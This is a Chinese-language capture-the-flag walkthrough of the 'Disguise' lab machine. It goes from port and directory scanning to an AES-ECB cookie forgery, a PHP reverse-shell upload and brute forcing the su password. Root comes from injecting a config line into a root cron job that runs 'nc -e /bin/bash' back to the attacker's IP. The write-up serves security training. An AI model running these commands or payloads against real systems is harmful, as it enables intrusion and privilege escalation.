信息收集 服务探测 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 ❯ sudo arp-scan -l [sudo ] password for Pepster: Interface: eth0, type : EN10MB, MAC: 5e:bb:f6:9e:ee:fa, IPv4: 192.168.60.100 Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.60.1 00:50:56:c0:00:08 VMware, Inc. 192.168.60.2 00:50:56:e4:1a:e5 VMware, Inc. 192.168.60.180 08:00:27:59:92:64 PCS Systemtechnik GmbH 192.168.60.254 00:50:56:ee:92:39 VMware, Inc. 4 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 2.135 seconds (119.91 hosts/sec). 4 responded ❯ export ip=192.168.60.180 ❯ rustscan -a $ip .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-' `-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- Port scanning: Because every port has a story to tell. [~] The config file is expected to be at "/home/Pepster/.rustscan.toml" [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers [!] Your file limit is very small, which negatively impacts RustScan' s speed. Use the Docker image, or up the Ulimit with '--ulimit 5000' .Open 192.168.60.180:22 Open 192.168.60.180:80 [~] Starting Script(s) [~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-13 08:23 CST Initiating ARP Ping Scan at 08:23 Scanning 192.168.60.180 [1 port] Completed ARP Ping Scan at 08:23, 0.07s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 08:23 Completed Parallel DNS resolution of 1 host. at 08:23, 0.01s elapsed DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 08:23 Scanning 192.168.60.180 [2 ports] Discovered open port 80/tcp on 192.168.60.180 Discovered open port 22/tcp on 192.168.60.180 Completed SYN Stealth Scan at 08:23, 0.06s elapsed (2 total ports) Nmap scan report for 192.168.60.180 Host is up, received arp-response (0.00033s latency). Scanned at 2025-05-13 08:23:35 CST for 0s PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 MAC Address: 08:00:27:59:92:64 (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Read data files from: /usr/share/nmap Nmap done : 1 IP address (1 host up) scanned in 0.35 seconds Raw packets sent: 3 (116B) | Rcvd: 3 (116B)
枚举目录,扫的太慢了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 ❯ gobuster dir -u http://$ip -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -t 50 -x php,html,zip,txt -b 404,403,503 =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.60.180 [+] Method: GET [+] Threads: 50 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt [+] Negative Status codes: 503,404,403 [+] User Agent: gobuster/3.6 [+] Extensions: php,html,zip,txt [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /index.php (Status: 301) [Size: 0] [--> http://192.168.60.180/] /rss (Status: 301) [Size: 0] [--> http://192.168.60.180/feed/] /login (Status: 302) [Size: 0] [--> http://disguise.hmv/wp-login.php] /login.php (Status: 302) [Size: 0] [--> http://disguise.hmv/wp-login.php] /0 (Status: 301) [Size: 0] [--> http://192.168.60.180/0/] /feed (Status: 301) [Size: 0] [--> http://192.168.60.180/feed/] /atom (Status: 301) [Size: 0] [--> http://192.168.60.180/feed/atom/] /wp-content (Status: 301) [Size: 321] [--> http://192.168.60.180/wp-content/] /admin (Status: 302) [Size: 0] [--> http://disguise.hmv/wp-admin/] /wp-login.php (Status: 200) [Size: 5275] /rss2 (Status: 301) [Size: 0] [--> http://192.168.60.180/feed/] /license.txt (Status: 200) [Size: 19903] /wp-includes (Status: 301) [Size: 322] [--> http://192.168.60.180/wp-includes/] /wp-register.php (Status: 301) [Size: 0] [--> http://disguise.hmv/wp-login.php?action=register] /wp-rss2.php (Status: 301) [Size: 0] [--> http://disguise.hmv/feed/] /rdf (Status: 301) [Size: 0] [--> http://192.168.60.180/feed/rdf/] /page1 (Status: 301) [Size: 0] [--> http://192.168.60.180/] /readme.html (Status: 200) [Size: 7425] /robots.txt (Status: 200) [Size: 67] /' (Status: 301) [Size: 0] [--> http://192.168.60.180/] /dashboard (Status: 302) [Size: 0] [--> http://disguise.hmv/wp-admin/]
得知存在Wordpress
框架
并且会跳转到域名,编辑hosts文件,添加域名
1 2 ❯ echo "$ip disguise.hmv" |sudo tee -a /etc/hosts 192.168.60.180 disguise.hmv
尝试利用wpscan
探测一下有没有插件版本漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 ❯ wpscan --url 'http://disguise.hmv' -e u,ap --plugins-detection aggressive --api-token "…………" _______________________________________________________________ __ _______ _____ \ \ / / __ \ / ____| \ \ /\ / /| |__) | (___ ___ __ _ _ __ ® \ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \ \ /\ / | | ____) | (__| (_| | | | | \/ \/ |_| |_____/ \___|\__,_|_| |_| WordPress Security Scanner by the WPScan Team Version 3.8.27 Sponsored by Automattic - https://automattic.com/ @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart _______________________________________________________________ [+] URL: http://disguise.hmv/ [192.168.60.180] [+] Started: Tue May 13 08:32:34 2025 Interesting Finding(s): [+] Headers | Interesting Entry: Server: Apache/2.4.59 (Debian) | Found By: Headers (Passive Detection) | Confidence: 100% [+] robots.txt found: http://disguise.hmv/robots.txt | Interesting Entries: | - /wp-admin/ | - /wp-admin/admin-ajax.php | Found By: Robots Txt (Aggressive Detection) | Confidence: 100% [+] XML-RPC seems to be enabled: http://disguise.hmv/xmlrpc.php | Found By: Direct Access (Aggressive Detection) | Confidence: 100% | References: | - http://codex.wordpress.org/XML-RPC_Pingback_API | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/ | - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/ [+] WordPress readme found: http://disguise.hmv/readme.html | Found By: Direct Access (Aggressive Detection) | Confidence: 100% [+] Upload directory has listing enabled: http://disguise.hmv/wp-content/uploads/ | Found By: Direct Access (Aggressive Detection) | Confidence: 100% [+] The external WP-Cron seems to be enabled: http://disguise.hmv/wp-cron.php | Found By: Direct Access (Aggressive Detection) | Confidence: 60% | References: | - https://www.iplocation.net/defend-wordpress-from-ddos | - https://github.com/wpscanteam/wpscan/issues/1299 [+] WordPress version 6.8.1 identified (Latest, released on 2025-04-30). | Found By: Rss Generator (Passive Detection) | - http://disguise.hmv/feed/, <generator>https://wordpress.org/?v=6.8.1</generator> | - http://disguise.hmv/comments/feed/, <generator>https://wordpress.org/?v=6.8.1</generator> [+] WordPress theme in use: newscrunch | Location: http://disguise.hmv/wp-content/themes/newscrunch/ | Last Updated: 2025-05-07T00:00:00.000Z | Readme: http://disguise.hmv/wp-content/themes/newscrunch/readme.txt | [!] The version is out of date, the latest version is 1.8.5 | Style URL: http://disguise.hmv/wp-content/themes/newscrunch/style.css?ver=6.8.1 | Style Name: Newscrunch | Style URI: https://spicethemes.com/newscrunch | Description: Newscrunch is a magazine and blog theme. It is a lightweight, elegant, and fully responsive theme sp... | Author: spicethemes | Author URI: https://spicethemes.com | | Found By: Css Style In Homepage (Passive Detection) | Confirmed By: Css Style In 404 Page (Passive Detection) | | Version: 1.8.4.2 (80% confidence) | Found By: Style (Passive Detection) | - http://disguise.hmv/wp-content/themes/newscrunch/style.css?ver=6.8.1, Match: ' Version: 1.8.4.2' [+] Enumerating All Plugins (via Aggressive Methods) Checking Known Locations - Time: 00:25:03 <================================================================> (110475 / 110475) 100.00% Time: 00:25:03 [+] Checking Plugin Versions (via Passive and Aggressive Methods) [i] Plugin(s) Identified: [+] akismet | Location: http://disguise.hmv/wp-content/plugins/akismet/ | Latest Version: 5.4 | Last Updated: 2025-05-07T16:30:00.000Z | | Found By: Known Locations (Aggressive Detection) | - http://disguise.hmv/wp-content/plugins/akismet/, status: 403 | | [!] 1 vulnerability identified: | | [!] Title: Akismet 2.5.0-3.1.4 - Unauthenticated Stored Cross-Site Scripting (XSS) | Fixed in: 3.1.5 | References: | - https://wpscan.com/vulnerability/1a2f3094-5970-4251-9ed0-ec595a0cd26c | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-9357 | - http://blog.akismet.com/2015/10/13/akismet-3-1-5-wordpress/ | - https://blog.sucuri.net/2015/10/security-advisory-stored-xss-in-akismet-wordpress-plugin.html | | The version could not be determined. [+] feed | Location: http://disguise.hmv/wp-content/plugins/feed/ | | Found By: Known Locations (Aggressive Detection) | - http://disguise.hmv/wp-content/plugins/feed/, status: 200 | | The version could not be determined. [+] Enumerating Users (via Passive and Aggressive Methods) Brute Forcing Author IDs - Time: 00:00:00 <========================================================================> (10 / 10) 100.00% Time: 00:00:00 [i] User(s) Identified: [+] simpleadmin | Found By: Author Posts - Author Pattern (Passive Detection) | Confirmed By: | Wp Json Api (Aggressive Detection) | - http://disguise.hmv/wp-json/wp/v2/users/?per_page=100&page=1 | Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Login Error Messages (Aggressive Detection) [+] simpleAdmin | Found By: Rss Generator (Passive Detection) | Confirmed By: | Rss Generator (Aggressive Detection) | Login Error Messages (Aggressive Detection) [+] WPScan DB API OK | Plan: free | Requests Done (during the scan): 2 | Requests Remaining: 21 [+] Finished: Tue May 13 08:57:48 2025 [+] Requests Done: 110512 [+] Cached Requests: 46 [+] Data Sent: 29.148 MB [+] Data Received: 33.065 MB [+] Memory used: 474.301 MB [+] Elapsed time: 00:25:14
从中得到两个用户simpleadmin
simpleAdmin
子域名探测 模糊测试一下探测是否存在子域名
存在另一个子域名dark.disguise.hmv
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 ❯ wfuzz -c -u "http://disguise.hmv/" -H "HOST:FUZZ.disguise.hmv" -H "User-Agent:Mozilla/5.0" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --hw 4602 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://disguise.hmv/ Total requests: 114441 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000001: 301 0 L 0 W 0 Ch "www - www" 000005051: 200 18 L 52 W 846 Ch "dark - dark" Total time: 0 Processed Requests: 114441 Filtered Requests: 114435 Requests/sec.: 0
再次编辑hosts文件,添加子域名
1 2 3 ❯ echo "$ip disguise.hmv dark.disguise.hmv" |sudo tee -a /etc/hosts [sudo ] password for Pepster: 192.168.60.180 disguise.hmv dark.disguise.hmv
尝试再次枚举目录
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 ❯ gobuster dir -u http://dark.disguise.hmv -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -t 50 -x php,html,zip,txt -b 404,403,503 =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://dark.disguise.hmv [+] Method: GET [+] Threads: 50 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt [+] Negative Status codes: 404,403,503 [+] User Agent: gobuster/3.6 [+] Extensions: zip,txt,php,html [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /index.php (Status: 200) [Size: 873] /login.php (Status: 200) [Size: 1134] /register.php (Status: 200) [Size: 2103] /profile.php (Status: 302) [Size: 0] [--> login.php] /images (Status: 301) [Size: 323] [--> http://dark.disguise.hmv/images/] /logout.php (Status: 302) [Size: 0] [--> login.php] /config.php (Status: 200) [Size: 0] /captcha.php (Status: 200) [Size: 340] /functions.php (Status: 200) [Size: 0] /manager (Status: 301) [Size: 324] [--> http://dark.disguise.hmv/manager/] Progress: 6369160 / 6369165 (100.00%) =============================================================== Finished ===============================================================
浏览器访问一下
拥有登录注册功能的一个商店
尝试利用上方得到的用户进行注册
结果用户名不允许超过8个字符,不过我点击注册的时候并没有发送请求包
因此可以猜测是前端校验的,我尝试利用开发者工具禁用JavaScript
再次注册,发现用户名已经存在了
随意注册一个账户,尝试登录一下
AES128-ECB 可以发现系统会赋予一个Cookie
尝试解码,无果,既然作者有意限制用户名长度
那再注册一个用户名超长的,对比Cookie
值的特征,尝试分析一下
分别url解码一下,很明显是Base64编码
,再将Base64
解码后的结果转为Hex
十六进制
得到如下结果,而且退出再重新登录后的Cookie
是不变的
当我用户名超过11位的时候,可以发现Hex
从16字节变成了32字节
多次注册,越多数据越详细越容易分析👀
用户名
Str Length
Cookie
Hex
abc
3
NAjRyq9jcymcpTTtPR8+FQ==
3408d1caaf6373299ca534ed3d1f3e15
aaaaaaaaaaa
11
OuQ8RKZ9v61RFPShspbyzg==
3ae43c44a67dbfad5114f4a1b296f2ce
aaaaaaaaaaaa
12
FUoxH12UY/N58pkbRNAAf8JwkfrsOdSxW16pbszGJLY=
154a311f5d9463f379f2991b44d0007fc27091faec39d4b15b5ea96eccc624b6
aaaaaaaaaaaaa
13
FUoxH12UY/N58pkbRNAAf8eQz9WG+kiODDNB6+7E8I4=
154a311f5d9463f379f2991b44d0007fc790cfd586fa488e0c3341ebeec4f08e
aaaaaaaaaaaaaaaaaaaaaaaaaaa
27
FUoxH12UY/N58pkbRNAAf09iPM3XuILJNgktHTPomLE=
154a311f5d9463f379f2991b44d0007f4f623ccdd7b882c936092d1d33e898b1
aaaaaaaaaaaaaaaaaaaaaaaaaaaa
28
FUoxH12UY/N58pkbRNAAf0Kfd1bvz3G39ZMOl2HnjTHCcJH67DnUsVteqW7MxiS2
154a311f5d9463f379f2991b44d0007f429f7756efcf71b7f5930e9761e78d31c27091faec39d4b15b5ea96eccc624b6
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
44
FUoxH12UY/N58pkbRNAAf0Kfd1bvz3G39ZMOl2HnjTFCn3dW789xt/WTDpdh540xwnCR+uw51LFbXqluzMYktg==
154a311f5d9463f379f2991b44d0007f429f7756efcf71b7f5930e9761e78d31429f7756efcf71b7f5930e9761e78d31c27091faec39d4b15b5ea96eccc624b6
可以推测加密方式,这是典型的 块加密算法(如 AES) 在 分组模式(如 ECB、CBC) 下的行为,当明文不满16字节会进行填充 处理再进行加密得到16字节的密文
但我明明输入12字节,为什么会得到32字节的密文
大概是对用户名进行了二次处理,额外加入了5个字节的未知数据,这样(12+5=17)即可超过16位明文即可生成两个密文块,得到32字节的密文
并且从44*a
的明文生成的48字节的密文来看,其中429f7756efcf71b7f5930e9761e78d31
这16字节的hex
值重复了
根据生成Cookie
的Hex
的重复性得知,加密方式极有可能是 AES128-ECB
,块大小 16 字节
ECB 模式特性 :相同明文块加密后生成相同密文块。
重复 Hex 值 :当用户名长度超过某个阈值时,明文被分块后出现重复的明文块,导致加密后的密文块重复,Hex 结果呈现周期性重复。
具体是什么方式的填充模式,我们可以尝试进行猜测,比较常见的有PKCS#7/PKCS#5
Zero Padding(零填充)
首先尝试PKCS#7
的填充方式
若需填充 N
个字节,则每个填充字节的值均为 N
。
示例:明文长度 12 字节
→ 需填充 4 字节
→ 填充内容为 0x04 0x04 0x04 0x04
填充逻辑 : 若明文长度 L
是块大小 B
的整数倍(即 L % B == 0
),则填充一个完整的块B
,填充值为 B
的字节。
示例:
块大小 B = 16 字节
明文长度 L = 16 字节
填充内容:16
个 0x10
(即 \x10\x10...\x10
,共 16 字节)
填充后总长度:16 + 16 = 32 字节
所以说PKCS#7
无论明文是否对齐块大小,均需填充,所以从上方明文12字节,可以得知,尽管你的明文正好是16
但最少都要填充一个字节0x01
,那么就能得到类似于的salt
的字符为4位字节
我们尝试猜测这个未知字符数据被拼接到明文的哪个位置
测试用户名位数相同的但来注册用户
用户名
Str Length
Cookie
Hex
testtesttest1234
16
YEVIg3b+GdHiXYp4SfY7Q+Ggzg6HTVR4DeXiCAxW51k=
6045488376fe19d1e25d8a7849f63b43e1a0ce0e874d54780de5e2080c56e759
1111testtest1234
16
+PMhE72o9XvHflnEpmj0QeGgzg6HTVR4DeXiCAxW51k=
f8f32113bda8f57bc77e59c4a668f441e1a0ce0e874d54780de5e2080c56e759
我们可以看到这两段密文最后一段的Ggzg6HTVR4DeXiCAxW51k=
相同
这4位字节的未知数是添加在最前面的,salt+明文
即可推断Cookie
加密流程(salt+明文)→填充→Hex→Base64→Uri
所以我们查看simpleAdmin
的位数
1 2 ❯ echo -n "simpleAdmin" |wc -c 11
得知11位,即salt+11
为15位 ,因为采用的是PKCS#7
填充方式,所以会在最后填充16 - (15 % 16)=1
个字节,每个字节的值为0x10
可以尝试截取密文,修改simpleAdmin
手动添加最后一个字节为0x10
,又因为PKCS#7
无论如何都会进行填充,尽管明文刚好满足块大小,仍然需要填充一个完整的块 ,填充的字节数为块大小的值 ,即填充16 个 0x10
我们尝试注册simpleAdmin\x01
用户,由于URL中控制字符需要使用百分比编码,格式为%01
尝试登录一下
我们对比一下两者都是填充一个完整的块 的密文
用户名
Str Length
Cookie
Hex
aaaaaaaaaaaa
12
FUoxH12UY/N58pkbRNAAf8JwkfrsOdSxW16pbszGJLY=
154a311f5d9463f379f2991b44d0007fc27091faec39d4b15b5ea96eccc624b6
simpleAdmin\x01
12
+1+3/NxCLcIR0Jq9qDudF8JwkfrsOdSxW16pbszGJLY=
fb5fb7fcdc422dc211d09abda83b9d17c27091faec39d4b15b5ea96eccc624b6
即可发现8JwkfrsOdSxW16pbszGJLY=
相同,这个即是填充的字节
我们丢弃即可,所以simpleAdmin
的Cookie
就是前半段fb5fb7fcdc422dc211d09abda83b9d17
1 2 3 ❯ echo "+1+3/NxCLcIR0Jq9qDudF8JwkfrsOdSxW16pbszGJLY=" |base64 -d |xxd 00000000: fb5f b7fc dc42 2dc2 11d0 9abd a83b 9d17 ._...B-......;.. 00000010: c270 91fa ec39 d4b1 5b5e a96e ccc6 24b6 .p...9..[^.n..$.
因为simpleAdmin
的加密流程是salt+simpleAdmin+填充0x01
那不就等于simpleAdmin\x01
修改Cookie
尝试登录一下
%2B1%2B3%2FNxCLcIR0Jq9qDudFw%3D%3D
即可伪造成功
文件上传 存在管理后台,可以上传文件,尝试上传webshell
上传成功后没有任何回显,不过有个images的图片地址,传参id=11
访问后是我们上传的文件,但不会被解析
之前目录枚举到/images
尝试直接访问一下/images/php-reverse-shell.php
,结果404了,猜测上传后进行了更改文件名的操作
想办法将添加商品报错
因为商品价格只能是数字,输入特殊字符
得到真实文件名,访问一下
用户提权 监听端口
终于拿到shell了🤣,得知存在darksoul
用户
1 2 3 4 5 6 7 8 9 10 11 12 ❯ penelope.py [+] Listening for reverse shells on 0.0.0.0:4444 → 127.0.0.1 • 192.168.60.100 ➤ 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C) [+] Got reverse shell from disguise-192.168.60.180-Linux-x86_64 😍️ Assigned SessionID <1> [+] Attempting to upgrade shell to PTY... [+] Shell upgraded successfully using /usr/bin/python3! 💪 [+] Interacting with session [1], Shell Type: PTY, Menu key: F12 [+] Logging to /home/Pepster/.penelope/disguise~192.168.60.180_Linux_x86_64/2025_05_13-22_13_17-259.log 📜 ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── www-data@disguise:/$ cat /etc/passwd |grep /bin/bash root:x:0:0:root:/root:/bin/bash darksoul:x:1000:1000:,,,:/home/darksoul:/bin/bash
再次信息收集
得到dark子目录和wordpress
的数据库密码
1 2 3 4 5 6 7 8 9 10 11 www-data@disguise:/var/www/dark$ cat config.php <?php $DB_USER = 'dark_db_admin' ;$DB_PASS = 'Str0ngPassw0d1***' ;$DB_NAME = 'dark_shop' ;?> www-data@disguise:/var/www/html$ grep -i "password" wp-config.php /** Database password */ define( 'DB_PASSWORD' , 'Str0ngPassw0d1!!!' );
并且/opt
目录下存在query.py
,暂不知什么用途
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 www-data@disguise:/var/www/dark$ cd /opt/ www-data@disguise:/opt$ ls -al total 12 drwxr-xr-x 2 root root 4096 Apr 1 09:58 . drwxr-xr-x 18 root root 4096 Mar 31 11:13 .. -rw-r--r-- 1 root root 870 Apr 1 09:56 query.py www-data@disguise:/opt$ cat query.py import mysql.connector import sys def main(): if len(sys.argv) != 2: print ("Usage: python query.py <configfile>" ) sys.exit(1) cnf = sys.argv[1] try: conn = mysql.connector.connect(read_default_file=cnf) cursor = conn.cursor() query = 'SELECT COUNT(*) FROM users' cursor.execute(query) results = cursor.fetchall() print (f"users count:{results[0][0]}" ) query = 'SELECT COUNT(*) FROM products' cursor.execute(query) results = cursor.fetchall() print (f"products count:{results[0][0]}" ) except mysql.connector.Error as err: print (f"db connect error: {err}" ) finally: if 'cursor' in locals(): cursor.close() if 'conn' in locals() and conn.is_connected(): conn.close() if __name__ == "__main__" : main()
猜测可以进行了密码复用
两个密码分别尝试登录一下,无果
1 2 3 4 5 6 7 www-data@disguise:/var/www/html$ su darksoul Password: su: Authentication failure www-data@disguise:/var/www/html$ su darksoul Password: su: Authentication failure www-data@disguise:/var/www/html$
观察规律,密码前面都相同只有后面三位不同,构造字典尝试爆破一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import itertoolsprefix = "Str0ngPassw0d1" output_file = "password_list.txt" charset = "?!@#$%^&*()" combinations = itertools.product(charset, repeat=3 ) with open (output_file, "w" ) as f: for combo in combinations: f.write(f"{prefix} {'' .join(combo)} \n" ) print (f"字典生成完成,保存至 {output_file} " )
传到靶机上,利用suForce
爆破,无法通过hydra
爆破,因为ssh
不支持密码验证😅
得到密码Str0ngPassw0d1???
,有时候这个suForce
爆不出来,有点问题,速率调低就行了😫
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 www-data@disguise:/tmp$ wget 192.168.60.100:8080/password_list.txt --2025-05-13 10:28:52-- http://192.168.60.100:8080/password_list.txt Connecting to 192.168.60.100:8080... connected. HTTP request sent, awaiting response... 200 OK Length: 18000 (18K) [text/plain] Saving to: ‘password_list.txt’ password_list.txt 100%[===============>] 17.58K --.-KB/s in 0s 2025-05-13 10:28:52 (184 MB/s) - ‘password_list.txt’ saved [18000/18000] www-data@disguise:/tmp$ wget 192.168.60.100/suForce --2025-05-13 10:28:58-- http://192.168.60.100/suForce Connecting to 192.168.60.100:80... connected. HTTP request sent, awaiting response... 200 OK Length: 2430 (2.4K) [application/octet-stream] Saving to: ‘suForce’ suForce 100%[===============>] 2.37K --.-KB/s in 0s 2025-05-13 10:28:58 (392 MB/s) - ‘suForce’ saved [2430/2430] www-data@disguise:/tmp$ chmod +x suForce www-data@disguise:/tmp$ ./suForce -u darksoul -w password_list.txt _____ ___ _ _ | ___|__ _ __ ___ ___ / __| | | || |_ / _ \| '__/ __/ _ \ \__ \ |_| || _| (_) | | | (_| __/ |___/\__,_||_| \___/|_| \___\___| ─────────────────────────────────── code: d4t4s3c version: v1.0.0 ─────────────────────────────────── 🎯 Username | darksoul 📖 Wordlist | password_list.txt 🔎 Status | 1/1331/0%/Str0ngPassw0d1??? 💥 Password | Str0ngPassw0d1??? ───────────────────────────────────
切换一下用户,flag竟然没有,被隐藏了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 www-data@disguise:/tmp$ su darksoul Password: darksoul@disguise:/tmp$ cd ~ darksoul@disguise:~$ ls -al total 40 drwxr-xr-x 4 darksoul darksoul 4096 Apr 2 04:19 . drwxr-xr-x 3 root root 4096 Mar 31 11:19 .. lrwxrwxrwx 1 root root 9 Apr 2 00:16 .bash_history -> /dev/null -rw-r--r-- 1 darksoul darksoul 220 Mar 31 11:19 .bash_logout -rw-r--r-- 1 darksoul darksoul 3526 Mar 31 11:19 .bashrc -rw-r--r-- 1 root root 114 Apr 2 04:03 config.ini -rw-r--r-- 1 root root 32 May 13 10:36 darkshopcount drwx------ 3 darksoul darksoul 4096 Apr 1 10:03 .gnupg drwxr-xr-x 3 darksoul darksoul 4096 Apr 1 10:04 .local -rw-r--r-- 1 darksoul darksoul 807 Mar 31 11:19 .profile -rw------- 1 darksoul darksoul 68 Apr 2 04:22 user.txt darksoul@disguise:~$ cat user.txt Good good study & Day day up,but where is the flag? darksoul@disguise:~$ cat darkshopcount users count:18products count:6 darksoul@disguise:~$ cat config.ini [client] user = dark_db_admin password = Str0ngPassw0d1*** host = localhost database = dark_shop port = int(3306)
使用cat -a
参数,查看全部符号
1 2 3 4 5 6 7 8 9 darksoul@disguise:~$ cat -A user.txt Good good study & Day day up,but where is the flag?$ hmv{hiddenflag}^M darksoul@disguise:~$ xxd user.txt 00000000: 476f 6f64 2067 6f6f 6420 7374 7564 7920 Good good study 00000010: 2620 4461 7920 6461 7920 7570 2c62 7574 & Day day up,but 00000020: 2077 6865 7265 2069 7320 7468 6520 666c where is the fl 00000030: 6167 3f0a 686d 767b 6869 6464 656e 666c ag?.hmv{hiddenfl 00000040: 6167 7d0d ag}.
当cat输出第二行hmv{hiddenflag}\r时:
终端先输出 hmv{hiddenflag}
。
遇到 \r(0d)
后,光标回到行首 (但仍在当前行)。
没有换行符 ,因此终端认为当前行未结束,后续输出会直接覆盖当前行 。
PS1(提示符)的显示时机:
终端在命令执行完毕后,自动换行并显示提示符 。
但此时光标已在行首(因 \r
导致),所以提示符会从行首开始输出,覆盖原内容
Root提权 传个pspy64上传,检测一下系统进程
root用户会定期执行/opt/query.py
1 2 3 4 5 2025/05/13 10:52:01 CMD: UID=0 PID=12849 | /usr/sbin/CRON -f 2025/05/13 10:52:01 CMD: UID=0 PID=12850 | /usr/sbin/CRON -f 2025/05/13 10:52:01 CMD: UID=0 PID=12851 | /bin/sh -c /usr/bin/python3 /opt/query.py /home/darksoul/config.ini > /home/darksoul/darkshopcount 2025/05/13 10:52:01 CMD: UID=0 PID=12852 | /usr/bin/python3 /opt/query.py /home/darksoul/config.ini 2025/05/13 10:52:01 CMD: UID=0 PID=12853 | /bin/sh -c uname -p 2> /dev/null
我们查看调用库的版本
1 2 darksoul@disguise:/tmp$ pip3 list|grep mysql-connector mysql-connector-python 8.0.33
CVE-2025-21548 查询有无CVE漏洞
CVE-2025-21548
,不过Google上暂未有披露漏洞相关的利用细节的文章
CVE-2025-21548(mysql客户端RCE)
在微信公众号上有篇复现文章,只需要在配置文件中加入allow_local_infile=__import__('os').system('whoami')
即可实现任意命令执行
更改文件名字
1 2 3 4 darksoul@disguise:~$ mv config.ini 111.ini darksoul@disguise:~$ cp 111.ini config.ini darksoul@disguise:~$ echo "allow_local_infile=__import__('os').system('nc -e /bin/bash 192.168.60.100 4444')" |tee -a config.ini allow_local_infile=__import__('os' ).system('nc -e /bin/bash 192.168.60.100 4444' )
监测进程
1 2 3 4 5 6 2025/05/13 11:06:01 CMD: UID=0 PID=12978 | /usr/sbin/CRON -f 2025/05/13 11:06:01 CMD: UID=0 PID=12979 | /usr/sbin/CRON -f 2025/05/13 11:06:01 CMD: UID=0 PID=12980 | /bin/sh -c /usr/bin/python3 /opt/query.py /home/darksoul/config.ini > /home/darksoul/darkshopcount 2025/05/13 11:06:01 CMD: UID=0 PID=12981 | /usr/bin/python3 /opt/query.py /home/darksoul/config.ini 2025/05/13 11:06:01 CMD: UID=0 PID=12982 | sh -c nc -e /bin/bash 192.168.60.100 4444
得到root shell
